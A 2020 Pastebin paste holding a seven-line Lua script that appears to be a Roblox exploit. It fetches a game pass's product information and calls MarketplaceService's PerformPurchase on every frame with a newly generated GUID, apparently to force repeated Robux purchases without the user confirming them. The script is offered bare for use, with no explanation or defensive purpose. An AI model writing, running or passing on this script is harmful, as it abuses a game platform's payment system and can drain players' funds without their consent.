AaronSo0908

Untitled

Aug 26th, 2020
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. gamePassId = 1234 --change id
  2. market = game:GetService("MarketplaceService")
  3. http = game:GetService("HttpService")
  4. info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  5. game:GetService("RunService").Stepped:connect(function()
  6. market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  7. end)
Add Comment
Please, Sign In to add comment